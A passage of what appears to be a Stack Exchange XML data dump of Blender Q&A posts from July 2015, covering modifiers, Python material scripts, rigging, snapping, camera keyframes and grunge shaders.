instead).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OG57e.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OG57e.png&quot; alt=&quot;Texture settings image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;Play around with the 'Strength' property of the modifier, until you get the needed result (Circled in the first image).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h2&gt;Randomize tool&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use the 'Randomize' Mesh editing tool if all your normals are on ±Z (e.g. a grid). To do this, make sure that you set the 'normal' option to 1.0 (boxed on the image below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OZ0gh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OZ0gh.png&quot; alt=&quot;Randomize tool and options&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15699" LastActivityDate="2015-07-23T14:53:27.930" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34429" PostTypeId="1" AcceptedAnswerId="34433" CreationDate="2015-07-23T15:37:57.023" Score="0" ViewCount="35" Body="&lt;p&gt;This spring I taught 3D Animation at Calhoun Community College.  I posted several questions here that were very helpful.  My 4 advanced students completed a project that was on time and exceeded my expectations.  I thought that some of you advanced users might enjoy seeing it and the back story about what motivated the production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that is the case, where might I post a link to the Youtube version of it?&lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2015-07-23T20:46:19.503" Title="How and where can I post a video for review of Blender users, that shows my students work?" Tags="&lt;video&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2015-12-15T01:18:37.347" ContentLicense="CC BY-SA 3.0" />
  <row Id="34430" PostTypeId="1" CreationDate="2015-07-23T15:39:56.420" Score="3" ViewCount="941" Body="&lt;p&gt;Add-on  Pro Lighting Skies Demo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CUvd2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CUvd2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This message error pops up when I follow the steps on how to download.  Somebody please help me.  I followed Andrew Price's directions on his website, Blender Guru, but it will not work. &lt;/p&gt;&#xA;" OwnerUserId="15768" LastEditorUserId="47" LastEditDate="2015-07-23T16:59:09.783" LastActivityDate="2015-07-24T11:28:42.077" Title="Activating Add-on, getting: ImportError: No module named 'bpy.utils.previews', 'bpy.utils' is not a package" Tags="&lt;add-on&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34431" PostTypeId="2" ParentId="34340" CreationDate="2015-07-23T15:48:00.427" Score="2" Body="&lt;p&gt;Also you can select all those objects you want to assign material to and execute the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#assuming there's image loaded in Blender and called 'sky_1'. It's the one you'd like to assign&#xA;img = bpy.data.images['sky_1.jpg']&#xA;imageTexture = bpy.data.textures.new('Image_Texture', type = 'IMAGE')&#xA;imageTexture.image = img&#xA;&#xA;#check presence of material with the same name&#xA;if bpy.data.materials.get(&quot;textureMaterial&quot;) is not None:&#xA;    materialToApply = bpy.data.materials[&quot;textureMaterial&quot;]&#xA;else:&#xA;  # create material&#xA;  materialToApply = bpy.data.materials.new('textureMaterial')&#xA;  materialTexture = materialToApply.texture_slots.add()&#xA;  materialTexture.texture = imageTexture&#xA;  materialTexture.texture_coords = 'UV'&#xA;  materialTexture.mapping = 'FLAT' &#xA;&#xA;#loop through selected objects and assign the material&#xA;for x in bpy.context.selected_objects:&#xA;  me = x.data&#xA;  me.materials.append(materialToApply)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The small advantage of this (at least for me, I always check twice which one is active if transfering materials) is that it doesn't really matter the objects' selection order in this case.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2015-07-23T15:53:44.957" LastActivityDate="2015-07-23T15:53:44.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34432" PostTypeId="2" ParentId="34430" CreationDate="2015-07-23T15:58:28.733" Score="1" Body="&lt;p&gt;You're either having trouble importing the addon correctly, or there's a bug in the addon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best way to import the addon is to leave the addon package inside a ZIP file and then choose the install from file option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, after loading the addon this way, you still get this error, you need to report it back to Andrew.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-23T15:58:28.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34433" PostTypeId="2" ParentId="34429" CreationDate="2015-07-23T16:00:39.413" Score="1" Body="&lt;p&gt;Unfortunately, this site is not a forum for posting or sharing work. I'd recommend posting it on &lt;a href=&quot;http://BlenderArtists.org&quot; rel=&quot;nofollow&quot;&gt;BlenderArtists.org&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-23T16:00:39.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34434" PostTypeId="1" AcceptedAnswerId="34458" CreationDate="2015-07-23T16:04:44.927" Score="4" ViewCount="652" Body="&lt;p&gt;I would like to add a custom frame rate slider in the timeline header, but I can't figure out how to do it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TcKya.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TcKya.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to add following line in &lt;code&gt;space_time.py&lt;/code&gt; (between line 75 and 77), but nothing happens:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.prop(scene, &quot;render.fps&quot;, text=&quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I missing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15015" LastEditorUserId="3710" LastEditDate="2015-07-26T11:47:09.277" LastActivityDate="2015-12-16T00:30:24.720" Title="Timeline header python modification" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34435" PostTypeId="2" ParentId="34430" CreationDate="2015-07-23T16:31:22.750" Score="4" Body="&lt;p&gt;You need to update to &lt;a href=&quot;http://www.blender.org/download/&quot; rel=&quot;nofollow&quot;&gt;Blender 2.75&lt;/a&gt;. Versions prior to this don't have &lt;code&gt;bpy.utils.previews&lt;/code&gt; which is used for custom ui icons and preview images. You will also need to install the add-on again, probably.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-07-24T11:28:42.077" LastActivityDate="2015-07-24T11:28:42.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34437" PostTypeId="1" AcceptedAnswerId="34441" CreationDate="2015-07-23T18:34:46.887" Score="1" ViewCount="692" Body="&lt;p&gt;I would like to know what effect does an object have in the rigid body simulations, when the volume x density of the object doesn't match the mass. In most cases the default density is 1.0 in blender!&lt;/p&gt;&#xA;" OwnerUserId="15189" LastEditorUserId="599" LastEditDate="2015-07-23T19:39:56.250" LastActivityDate="2015-07-23T19:39:56.250" Title="What happens if the mass of a rigidbody doesn't match to it's volume X density?" Tags="&lt;objects&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34438" PostTypeId="1" CreationDate="2015-07-23T18:49:30.993" Score="3" ViewCount="221" Body="&lt;p&gt;Why object is white in viewport and textured when I hit &lt;kbd&gt;P&lt;/kbd&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in &lt;em&gt;GLSL&lt;/em&gt; shading mode and I can't see the object textured in the &lt;em&gt;Game Engine&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxn8A.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxn8A.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7720" LastEditorUserId="19307" LastEditDate="2019-07-02T10:39:05.093" LastActivityDate="2019-07-02T10:39:05.093" Title="Why object is white in viewport and textured when I hit &quot;P&quot;?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="34439" PostTypeId="1" CreationDate="2015-07-23T19:12:03.467" Score="5" ViewCount="2402" Body="&lt;p&gt;I'm making a game where a robotic ball moves, collects objects and passes obstacles, and my question is :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how can I make the ball roll while it is moving ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;l'm familiar with how to make collectible game objects and with in game animation but l just don't known how to make a ball roll while moving. l understand how to program with the logic bricks.&lt;/p&gt;&#xA;" OwnerUserId="5460" LastEditorUserId="3398" LastEditDate="2015-07-26T11:46:45.307" LastActivityDate="2015-07-26T11:46:45.307" Title="Blender game: How can I make a ball roll while moving?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34440" PostTypeId="1" CreationDate="2015-07-23T19:22:31.047" Score="1" ViewCount="1233" Body="&lt;p&gt;I'm trying to snap two mesh together. One is a cylinder and the other is half a sphere. I aligned the 3d cursor to the bottom center of the cylinder where I want the sphere to attach to. I don't know how to move/snap the flat side of the half sphere to the 3d cursor without stretching the object. If I select the entire sphere the center of the sphere snaps to the 3d cursor, and If i select just the flat face/flat face vertex, the shape gets stretch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on how to do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iKXJr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKXJr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15710" LastEditorUserId="15710" LastEditDate="2015-07-23T20:31:20.640" LastActivityDate="2015-09-22T08:16:51.100" Title="Snapping mesh together by a point without stretching the object" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;snapping&gt;&lt;3d-cursor&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34441" PostTypeId="2" ParentId="34437" CreationDate="2015-07-23T19:33:43.457" Score="2" Body="&lt;p&gt;It's not that the mass doesn't match  &lt;code&gt;density * volume&lt;/code&gt;, it's that the &lt;em&gt;density&lt;/em&gt; is &lt;strong&gt;defined&lt;/strong&gt; by&lt;br&gt;&#xA;&lt;code&gt;mass / volume&lt;/code&gt;.&lt;br&gt;&#xA; Needless to say, the default mass of 1 gram makes most objects very much the opposite of &quot;dense&quot; ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate physically accurate values for mass based on measured density of real-world materials, try using the &lt;em&gt;Calculate Mass&lt;/em&gt; operator in &lt;em&gt;3D view &gt; Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) &lt;em&gt;&gt; Physics &gt; Rigid Body Tools&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/F0som.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F0som.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-23T19:33:43.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34442" PostTypeId="1" CreationDate="2015-07-23T19:34:09.400" Score="0" ViewCount="1354" Body="&lt;p&gt;I'm trying to use this program called MakeHuman which creates a rigged mesh for you, but I am trying to edit the mesh in Blender before using it in Unity. There are so many layers and complexity to the Blender scene that I don't know what to do, even given that I have done basic rigging manually before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For simplicity in example, I would like to replace the head of the mesh with a cube. I believe what I must do is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Unparent the mesh from the rig (how do I do this properly?)&lt;/li&gt;&#xA;&lt;li&gt;Edit the mesh&lt;/li&gt;&#xA;&lt;li&gt;Re-parent the mesh to the rig&lt;/li&gt;&#xA;&lt;li&gt;Assign automatic weight painting&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I've tried this before and what I get is my character floating in space in Unity, I believe because there is something wrong with the weight painting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37244&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/37244&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/67HQQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/67HQQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recently I've tried clearing all the Vertex Groups and modifier after Clear Parent, editing my mesh, then reparenting with automatic weight. When I go to bring this into Unity with animations put onto it, it just stands there.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1oTvW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1oTvW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6351" LastEditorUserId="6351" LastEditDate="2015-07-23T20:03:59.797" LastActivityDate="2021-05-10T05:04:35.433" Title="Editing a rigged mesh (MakeHuman &gt; Blender &gt; Unity)" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;bones&gt;&lt;unity&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34443" PostTypeId="1" AcceptedAnswerId="34444" CreationDate="2015-07-23T19:42:04.350" Score="2" ViewCount="443" Body="&lt;p&gt;I am brand new to Blender and 3D modeling in general so please bear with me if I use incorrect jargon and terminology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got help from a friend making a video in Blender, but as I got further into the project I noticed the camera is to close on every frame. Sadly my friend went on vacation and is unavailable for a while so I have no source for help. To clarify I am looking for a way to change the Z location for every frame at the same time instead of going through and dragging the blue arrow frame by frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated as I am going through multiple websites and only finding words and terms that don't make sense to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I see on my screen, hoping it helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LTqEJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LTqEJ.jpg&quot; alt=&quot;What my blender screen shows if it helps&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15865" LastEditorUserId="2217" LastEditDate="2015-07-23T20:07:37.680" LastActivityDate="2015-07-23T20:15:25.867" Title="Translate Z Location of object for every frame?" Tags="&lt;objects&gt;&lt;transforms&gt;&lt;camera&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34444" PostTypeId="2" ParentId="34443" CreationDate="2015-07-23T20:09:12.200" Score="0" Body="&lt;p&gt;There are a few ways to do this, but essentially you want to parent a camera to the path of the old camera. The easiest way to do this is to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;duplicate the camera &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;remove the keyframes on the second camera&lt;/li&gt;&#xA;&lt;li&gt;parent the second camera to the first camera &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;change the Transform widget orientation to Local&lt;/li&gt;&#xA;&lt;li&gt;move the second camera back on the local Z axis&lt;/li&gt;&#xA;&lt;li&gt;it will still move and pivot with the original camera's orientation.&lt;/li&gt;&#xA;&lt;li&gt;Select the second Camera and click Set Active Object as Camera &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;NUMPAD 0&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;you can also optionally hide the first camera via the outliner if you find it distracting&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yARZb.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yARZb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-23T20:15:25.867" LastActivityDate="2015-07-23T20:15:25.867" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="34445" PostTypeId="1" CreationDate="2015-07-23T20:41:29.203" Score="0" ViewCount="1207" Body="&lt;p&gt;I was using blender and I created a little character and when it came to putting it in pose mode so I could begin to animate it, from then on the navigation around the 3D window will not work it will zoom in and out but the only way for me to navigate now is through the View menu and this obviously takes forever and I can't get the angles I want, could I have pressed something to make it this way? I just generally cannot navigate at all around my interface.&lt;/p&gt;&#xA;" OwnerUserId="15866" LastEditorUserId="2217" LastEditDate="2015-07-23T21:37:31.853" LastActivityDate="2021-04-23T09:30:33.100" Title="Navigation is completely not working" Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="2" ClosedDate="2021-04-23T09:31:26.950" ContentLicense="CC BY-SA 3.0" />
  <row Id="34446" PostTypeId="2" ParentId="34429" CreationDate="2015-07-23T20:46:19.503" Score="1" Body="&lt;p&gt;The Blender subreddit is also quite popular.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/blender/&quot; rel=&quot;nofollow&quot;&gt;https://www.reddit.com/r/blender/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2015-07-23T20:46:19.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34447" PostTypeId="2" ParentId="34440" CreationDate="2015-07-23T20:54:28.523" Score="2" Body="&lt;p&gt;On the object you want to move move the origin to the face that should line up with the other object. In &lt;strong&gt;Edit Mode&lt;/strong&gt; select the face and use &lt;strong&gt;Snap Cursor to Selected&lt;/strong&gt; That will move the 3D cursor to the center of the face. Then switch to object mode and do &lt;strong&gt;Transform Origin to 3D Cursor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TS8ug.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, select the other object and, in &lt;strong&gt;Edit Mode&lt;/strong&gt;, &lt;strong&gt;snap&lt;/strong&gt; the cursor to the face you want to snap to. Exit edit mode, select the previous object (the hemisphere) and do &lt;strong&gt;Snap Selection to Cursor&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The shortcut for the &lt;strong&gt;Snap&lt;/strong&gt; tool is &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m3ZZx.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m3ZZx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-23T21:02:25.710" LastActivityDate="2015-07-23T21:02:25.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34448" PostTypeId="1" AcceptedAnswerId="34459" CreationDate="2015-07-23T21:00:06.640" Score="1" ViewCount="705" Body="&lt;p&gt;I have a player who i want to be able to throw spells and such, when you hold down the left mouse button, the spell charges, when you let go, the spell launches. I was able to do the animations with a work around, but that will not work with actually adding an object. How (with python) can i simply activate an actuator once when the mouse is released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't need anything else (not mouse over, not if prop true) just plain-o'l plain-ol'. Thanks&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-07-24T10:46:38.417" Title="How can i add an object when the mouse is released?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34449" PostTypeId="2" ParentId="34442" CreationDate="2015-07-23T21:14:21.133" Score="0" Body="&lt;p&gt;I think your steps should look more like the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit the mesh&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.1 - delete the vertices for the head&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.2 - shift+a (to add) and select cube (while still in edit mode)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.3 - The cube should be selected. Place the cube (g button) to desired location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.4 - make sure the vertices of the cube are still selected, and go into the &quot;data&quot; panel (icon is a polygon triangle thingy), find the vertex group named &quot;DEF-head&quot;, and assign the cube vertices to that group (set slider to 1.0 and click &quot;Assign&quot; button).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4960" LastActivityDate="2015-07-23T21:14:21.133" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34450" PostTypeId="1" CreationDate="2015-07-23T21:19:52.877" Score="0" ViewCount="26" Body="&lt;p&gt;Whenever I apply UV textures to a mesh, the texture looks flat after I rendered it. How to give it normal or bump maps? im doing animations cinematics not a game.&lt;/p&gt;&#xA;" OwnerUserId="15810" LastActivityDate="2015-07-23T21:19:52.877" Title="How to give UV mapped textures normal maps?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-07-23T23:02:31.613" ContentLicense="CC BY-SA 3.0" />
  <row Id="34451" PostTypeId="1" AcceptedAnswerId="34460" CreationDate="2015-07-23T23:48:46.307" Score="14" ViewCount="67277" Body="&lt;p&gt;I'm trying to model a M16 but I have a problem with cutting the holes on top of the handguard of the weapon. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tlsFi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tlsFi.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the picture above, I have tried to cut holes into the handguard (The marked mesh in edit mode) with the object above it (The multiple cylinder one). But I simply can't. I have tried the Boolean modifier but the handguard just disappears and doesn't make any holes. Same with the Knife Project thing. Nothing works, it won't make a hole in it. I also installed the BoolTool 0.2 but that didn't work either...The multiple cylinder object goes invisible and doesn't make any cuts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WtVIE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WtVIE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture above you can see how I want the cuts to be made. I want the holes of the multiple cylinder object to be there on the handguard when I take it away. Nothing works. The 3 methods I tried with worked on other parts of this model but not on the handguard. It should be the handguards mesh's fault but I can do nothing about it. Is there any solution?&lt;/p&gt;&#xA;" OwnerUserId="15870" LastEditorUserId="61318" LastEditDate="2020-02-03T21:36:32.187" LastActivityDate="2020-08-13T08:06:06.903" Title="How to cut holes in an object using another object?" Tags="&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="11" ContentLicense="CC BY-SA 4.0" />
  <row Id="34453" PostTypeId="1" CreationDate="2015-07-24T00:07:28.673" Score="0" ViewCount="1776" Body="&lt;p&gt;I have a 15MB blend file from here:&#xA;&lt;a href=&quot;http://www.blendswap.com/blends/view/72717&quot; rel=&quot;nofollow&quot;&gt;http://www.blendswap.com/blends/view/72717&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a quote on the page from the uploader &quot;The textures (included the background), were taken by me and can be used freely.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how do i get this wood texture? (i would like all the included textures)&#xA;I am familiar with an .mtl file and seperate image files to be mapped to the object/model.  Can I get blender to ouput this?  How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have tried triangulating and checked all the boxes that should be checked during export, but all I ever get is a severly messed up model when viewed with three.js.  About half the faces are missing and no textures.&lt;/p&gt;&#xA;" OwnerUserId="15869" LastActivityDate="2015-07-24T00:07:28.673" Title="How do I export to mtl and obj files with textures for use with three.js?" Tags="&lt;texturing&gt;&lt;export&gt;&lt;three.js&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34455" PostTypeId="1" CreationDate="2015-07-24T01:31:37.937" Score="4" ViewCount="10447" Body="&lt;p&gt;I've already created a node setup with bump mapping and gloss, but I have no idea how to add or combine an image or texture to create a realistic dirty/worn look on the clean tiles.&lt;br&gt;&#xA;I tried the tutorial &lt;a href=&quot;http://www.blenderguru.com/tutorials/how-to-grunge/&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/tutorials/how-to-grunge/&lt;/a&gt; , and I can bake the image but I am not sure how I would combined them to give the desired effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image I wish to improve on or change (add dirt to) can be found here.&#xA;&lt;a href=&quot;http://www.cgtextures.com/texview.php?id=65010&amp;amp;PHPSESSID=rklgncit37atdpanj155e3jvg5&quot; rel=&quot;nofollow&quot;&gt;http://www.cgtextures.com/texview.php?id=65010&amp;amp;PHPSESSID=rklgncit37atdpanj155e3jvg5&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would really help me out! Thanks&lt;/p&gt;&#xA;" OwnerUserId="15874" LastEditorUserId="2217" LastEditDate="2015-07-24T02:25:15.790" LastActivityDate="2015-08-12T04:53:58.983" Title="Need to make (node setup) of realistic dirt/ grime/grunge on top of image texture of ceramic tiles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34456" PostTypeId="2" ParentId="34455" CreationDate="2015-07-24T03:30:16.073" Score="10" Body="&lt;p&gt;Adding convincing dirt and grunge to any model requires multiple layers of shaders.  I usually use three main layers, surface dirt, crevice dirt, and dust.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Surface Dirt:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bHbys.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bHbys.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Surface dirt is just smudges and such that accumulates across the surface of an object.  To create this just mix your normal shader for your material with a dirty shader using a grunge texture for the mix factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/24kag.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;strong&gt;Note:&lt;/strong&gt;  Make sure the image texture you are using for a mask is set to &lt;em&gt;non-color data&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Crevice grunge:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vioIC.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vioIC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually grunge 